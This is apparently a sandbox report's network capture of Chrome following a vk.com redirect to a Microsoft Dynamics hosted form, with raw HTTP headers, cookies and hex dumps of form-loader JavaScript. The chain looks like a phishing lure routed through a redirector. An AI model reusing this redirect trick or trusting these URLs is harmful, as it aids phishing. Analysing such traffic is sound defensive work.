2024-04-24 13:42:47 UTC	282	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 76 6b 2e 63 6f 6d 2f 61 77 61 79 2e 70 68 70 3f 74 6f 3d 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 39 37 37 39 31 35 37 33 2d 61 39 30 30 2d 65 66 31 31 2d 39 66 38 35 2d 30 30 32 32 34 38 32 38 32 30 32 65 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 62 65 62 32 36 65 31 36 2d 63 35 30 30 2d 65 66 31 31 2d 61 31 66 64 2d 36 30 34 35 62 64 64 33 62 36 33 36 22 3e 68 65 72 65 3c Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636">here<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49717	87.240.132.72	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:48 UTC	800	OUT	GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: vk.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:49 UTC	1253	IN	HTTP/1.1 302 Found Server: kittenx Date: Wed, 24 Apr 2024 13:42:48 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116589 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Sat, 26 Apr 2025 02:52:14 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9093501850070699750_Lnd7fMoCdytxw6KavtEkNYHGJAI8e0XO7DRYGMct8HD; expires=Thu, 24 Apr 2025 13:42:48 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636; path=/; domain=.vk.com Set-Cookie: remixua=-1%7C-1%7C202%7C3664747857; expires=Mon, 28 Apr 2025 03:46:32 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store X-Frame-Options: DENY Location: https://away.vk.com/away.php?rh=8f363019-e908-47e4-a972-890e8e356326 X-Frontend: front919400 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Origin-Agent-Cluster: ?0 X-Trace-Id: xWE99cqP6dCdU6BdQXsKMsu7boF26Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49719	87.240.137.164	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:50 UTC	1005	OUT	GET /away.php?rh=8f363019-e908-47e4-a972-890e8e356326 HTTP/1.1 Host: away.vk.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: remixlang=3; remixstlid=9093501850070699750_Lnd7fMoCdytxw6KavtEkNYHGJAI8e0XO7DRYGMct8HD; remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636; remixua=-1%7C-1%7C202%7C3664747857

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49720	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:50 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 13:42:50 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=235229 Date: Wed, 24 Apr 2024 13:42:50 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49721	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 13:42:51 UTC	521	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-MSEdge-Ref: Ref A: CC1186E36C704BA5AF8177F229D6CC87 Ref B: PAOEDGE0621 Ref C: 2023-04-04T13:32:33Z Cache-Control: public, max-age=235180 Date: Wed, 24 Apr 2024 13:42:51 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-24 13:42:51 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49725	87.240.132.72	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:52 UTC	1103	OUT	GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: vk.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: remixlang=3; remixstlid=9093501850070699750_Lnd7fMoCdytxw6KavtEkNYHGJAI8e0XO7DRYGMct8HD; remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636; remixua=-1%7C-1%7C202%7C3664747857
2024-04-24 13:42:52 UTC	819	IN	HTTP/1.1 200 OK Server: kittenx Date: Wed, 24 Apr 2024 13:42:52 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 764 Connection: close X-Powered-By: KPHP/7.4.116589 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixsec_redir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; domain=.vk.com Set-Cookie: remixsec_redir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=vk.com Set-Cookie: remixsec_redir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/ Cache-control: no-store X-Frame-Options: DENY X-Frontend: front918200 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Origin-Agent-Cluster: ?0 X-Trace-Id: VpC1J3k5W6lvhWN6o-7MVyQ9iI0pUA
2024-04-24 13:42:52 UTC	764	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 69 6e 70 75 74 20 69 64 3d 22 72 65 64 69 72 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 39 37 37 39 31 35 37 33 2d 61 39 30 30 2d 65 66 31 31 2d 39 66 38 35 2d 30 30 32 32 34 38 32 38 32 30 32 65 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 62 65 62 32 36 65 31 36 2d 63 35 30 30 2d 65 66 31 31 2d 61 31 66 64 2d 36 30 34 35 62 64 64 33 62 36 33 36 22 20 2f 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f Data Ascii: <meta name="referrer" content="origin" id="meta_referrer" /><input id="redir" type="hidden" value="https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636" /><script>windo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49727	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:53 UTC	785	OUT	GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://vk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:54 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:53 GMT Content-Type: text/html Content-Length: 491 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: f9ae32cc821d41f6663f3b70de7c5e58 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T134253Z-168bb8d798bmmxfd6g2ey15u14000000089000000000dym5 x-fd-int-roxy-purgeid: 69112800 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 13:42:54 UTC	491	IN	Data Raw: 3c 64 69 76 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 69 64 3d 27 62 65 62 32 36 65 31 36 2d 63 35 30 30 2d 65 66 31 31 2d 61 31 66 64 2d 36 30 34 35 62 64 64 33 62 36 33 36 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 66 6f 72 6d 2d 61 70 69 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 75 62 6c 69 63 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 61 70 69 2f 76 31 2e 30 2f 6f 72 67 73 2f 39 37 37 39 31 35 37 33 2d 61 39 30 30 2d 65 66 31 31 2d 39 66 38 35 2d 30 30 32 32 34 38 32 38 32 30 32 65 2f 6c 61 6e 64 69 6e 67 70 61 67 65 66 6f 72 6d 73 27 0a 20 20 20 20 20 20 20 20 64 61 74 61 2d 63 61 63 68 65 64 2d 66 6f 72 6d 2d 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d Data Ascii: <div data-form-id='beb26e16-c500-ef11-a1fd-6045bdd3b636' data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms' data-cached-form-url='https://assets-usa.mkt.dynam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49728	13.107.246.69	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:54 UTC	592	OUT	GET /usa/FormLoader/FormLoader.bundle.js HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:55 UTC	643	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:42:54 GMT Content-Type: application/javascript Content-Length: 711081 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:18 GMT ETag: 0x8DC3775981D513B x-ms-request-id: 1266ec00-201e-00aa-410f-96c5eb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T134254Z-168bb8d798b4bst68753kwrwcg000000021000000000e68f x-fd-int-roxy-purgeid: 66630197 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 13:42:55 UTC	15741	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 46 6f 72 6d 4c 6f 61 64 65 72 2e 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 76 61 72 20 64 33 36 35 6d 6b 74 66 6f 72 6d 73 3b 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 3d 7b 33 31 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 66 65 74 63 68 3d 21 31 2c 74 68 69 73 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 3d 6e 2e 44 4f 4d 45 78 63 65 70 74 69 6f 6e 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f Data Ascii: /! For license information please see FormLoader.bundle.js.LICENSE.txt /var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.proto
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 22 29 2c 63 3d 64 28 22 72 65 61 63 74 2e 6d 65 6d 6f 22 29 2c 6c 3d 64 28 22 72 65 61 63 74 2e 6c 61 7a 79 22 29 7d 76 61 72 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 2d 64 65 63 6f 64 65 72 2e 68 74 6d 6c 3f 69 6e 76 61 72 69 61 6e 74 3d 22 2b 65 2c 6e 3d 31 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 2b 3d 22 26 61 72 67 73 5b 5d 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 29 3b 72 65 74 75 72 6e 22 4d 69 6e Data Ascii: "),c=d("react.memo"),l=d("react.lazy")}var p="function"==typeof Symbol&&Symbol.iterator;function f(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Min
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 47 56 34 55 45 4a 41 46 67 59 43 6e 6b 41 45 6d 64 4b 43 62 70 36 48 41 44 6d 51 66 44 70 53 51 45 58 63 77 69 41 78 55 61 69 78 47 79 49 4b 47 67 48 6b 4d 6c 41 71 65 43 77 4a 41 67 44 73 74 5a 41 67 51 77 4b 45 6a 68 5a 39 41 52 34 4d 41 41 53 47 46 72 67 30 6d 47 44 43 67 51 49 46 6d 62 4d 73 41 47 42 69 2b 38 36 4b 46 42 68 49 34 63 50 77 6d 7a 61 48 41 30 57 51 66 64 75 53 77 49 53 47 69 43 41 4d 70 56 6a 77 6e 45 67 51 41 49 66 6b 45 43 51 6b 41 4e 41 41 73 41 41 41 41 41 42 34 41 48 67 43 46 42 41 59 45 68 49 61 45 78 4d 62 45 52 45 4a 45 70 4b 61 6b 35 4f 62 6b 5a 47 4a 6b 4c 43 6f 73 6c 4a 61 55 31 4e 62 55 74 4c 61 30 39 50 62 30 48 42 6f 63 56 46 4a 55 64 48 4a 30 6a 49 36 4d 7a 4d 37 4d 72 4b 36 73 37 4f 37 73 50 44 34 38 6e 4a 36 63 33 4e 37 Data Ascii: GV4UEJAFgYCnkAEmdKCbp6HADmQfDpSQEXcwiAxUaixGyIKGgHkMlAqeCwJAgDstZAgQwKEjhZ9AR4MAASGFrg0mGDCgQIFmbMsAGBi+86KFBhI4cPwmzaHA0WQfduSwISGiCAMpVjwnEgQAIfkECQkANAAsAAAAAB4AHgCFBAYEhIaExMbEREJEpKak5ObkZGJkLCoslJaU1NbUtLa09Pb0HBocVFJUdHJ0jI6MzM7MrK6s7O7sPD48nJ6c3N7
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 73 5b 33 5d 3a 7b 73 69 6c 65 6e 74 3a 21 31 7d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 29 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6e 5b 69 5d 26 26 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 61 70 70 6c 79 28 6e 5b 69 5d 29 7c 7c 74 68 69 73 2e 61 64 64 52 65 73 6f 75 72 63 65 28 65 2c 74 2c 69 2c 6e 5b 69 5d 2c 7b 73 69 6c 65 6e 74 3a 21 30 7d 29 3b 72 2e 73 69 6c 65 6e 74 7c 7c 74 68 69 73 2e 65 6d 69 74 28 22 61 64 64 65 64 22 2c 65 2c 74 2c 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 52 65 73 6f 75 72 63 65 42 75 6e 64 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e Data Ascii: s[3]:{silent:!1};for(var i in n)"string"!=typeof n[i]&&"[object Array]"!==Object.prototype.toString.apply(n[i])\|\|this.addResource(e,t,i,n[i],{silent:!0});r.silent\|\|this.emit("added",e,t,n)}},{key:"addResourceBundle",value:function(e,t,n,r,i){var a=argumen
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 3f 30 3a 32 3d 3d 65 3f 31 3a 65 3c 37 3f 32 3a 65 3c 31 31 3f 33 3a 34 29 7d 2c 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 7c 7c 31 31 3d 3d 65 3f 30 3a 32 3d 3d 65 7c 7c 31 32 3d 3d 65 3f 31 3a 65 3e 32 26 26 65 3c 32 30 3f 32 3a 33 29 7d 2c 31 32 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 65 25 31 30 21 3d 31 7c 7c 65 25 31 30 30 3d 3d 31 31 29 7d 2c 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 30 21 3d 3d 65 29 7d 2c 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 3f 30 3a 32 3d 3d 65 3f 31 3a 33 3d 3d 65 3f 32 3a 33 29 7d 2c 31 Data Ascii: n Number(1==e?0:2==e?1:e<7?2:e<11?3:4)},11:function(e){return Number(1==e\|\|11==e?0:2==e\|\|12==e?1:e>2&&e<20?2:3)},12:function(e){return Number(e%10!=1\|\|e%100==11)},13:function(e){return Number(0!==e)},14:function(e){return Number(1==e?0:2==e?1:3==e?2:3)},1
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 61 73 4c 6f 61 64 65 64 4e 61 6d 65 73 70 61 63 65 28 74 29 3f 74 68 69 73 2e 6c 6f 67 67 65 72 2e 77 61 72 6e 28 27 64 69 64 20 6e 6f 74 20 73 61 76 65 20 6b 65 79 20 22 27 2e 63 6f 6e 63 61 74 28 6e 2c 27 22 20 61 73 20 74 68 65 20 6e 61 6d 65 73 70 61 63 65 20 22 27 29 2e 63 6f 6e 63 61 74 28 74 2c 27 22 20 77 61 73 20 6e 6f 74 20 79 65 74 20 6c 6f 61 64 65 64 27 29 2c 22 54 68 69 73 20 6d 65 61 6e 73 20 73 6f 6d 65 74 68 69 6e 67 20 49 53 20 57 52 4f 4e 47 20 69 6e 20 79 6f 75 72 20 73 65 74 75 70 2e 20 59 6f 75 20 61 63 63 65 73 73 20 74 68 65 20 74 20 66 75 6e 63 74 69 6f 6e 20 62 65 66 6f 72 65 20 69 31 38 6e 65 78 74 2e 69 6e 69 74 20 2f 20 69 31 38 6e 65 78 74 2e 6c 6f 61 64 4e 61 6d 65 73 70 61 63 65 20 2f 20 69 31 38 6e 65 78 74 2e 63 68 61 6e Data Ascii: asLoadedNamespace(t)?this.logger.warn('did not save key "'.concat(n,'" as the namespace "').concat(t,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.chan
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 63 74 69 76 65 58 4f 62 6a 65 63 74 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 65 28 6e 29 26 26 28 6e 3d 54 65 28 22 22 2c 6e 29 2e 73 6c 69 63 65 28 31 29 29 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 26 26 28 74 3d 54 65 28 74 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 29 29 3b 74 72 79 7b 76 61 72 20 69 3b 28 69 3d 76 65 3f 6e 65 77 20 76 65 3a 6e 65 77 20 62 65 28 22 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 2e 33 2e 30 22 29 29 2e 6f 70 65 6e 28 6e 3f 22 50 4f 53 54 22 3a 22 47 45 54 22 2c 74 2c 31 29 2c 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 69 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 Data Ascii: ctiveXObject?function(e,t,n,r){n&&"object"===we(n)&&(n=Te("",n).slice(1)),e.queryStringParams&&(t=Te(t,e.queryStringParams));try{var i;(i=ve?new ve:new be("MSXML2.XMLHTTP.3.0")).open(n?"POST":"GET",t,1),e.crossDomain\|\|i.setRequestHeader("X-Requested-With"
2024-04-24 13:42:55 UTC	16384	IN	Data Raw: 65 22 2c 65 2e 61 66 74 65 72 3d 22 41 66 74 65 72 22 2c 65 2e 63 75 72 72 65 6e 74 3d 22 43 75 72 72 65 6e 74 22 7d 28 74 74 7c 7c 28 74 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6e 6f 48 6f 6c 64 6f 75 74 3d 22 6e 6f 48 6f 6c 64 6f 75 74 22 2c 65 2e 68 6f 6c 64 6f 75 74 3d 22 68 6f 6c 64 6f 75 74 22 7d 28 6e 74 7c 7c 28 6e 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 3d 22 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 22 2c 65 2e 54 69 6d 65 4c 69 6d 69 74 3d 22 54 69 6d 65 4c 69 6d 69 74 22 7d 28 72 74 7c 7c 28 72 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 53 74 61 6e 64 41 6c 6f 6e 65 3d 22 53 74 61 6e 64 41 6c 6f 6e 65 22 2c 65 2e 53 69 6e 67 6c 65 41 63 74 69 6f 6e Data Ascii: e",e.after="After",e.current="Current"}(tt\|\|(tt={})),function(e){e.noHoldout="noHoldout",e.holdout="holdout"}(nt\|\|(nt={})),function(e){e.ConditionMet="ConditionMet",e.TimeLimit="TimeLimit"}(rt\|\|(rt={})),function(e){e.StandAlone="StandAlone",e.SingleAction
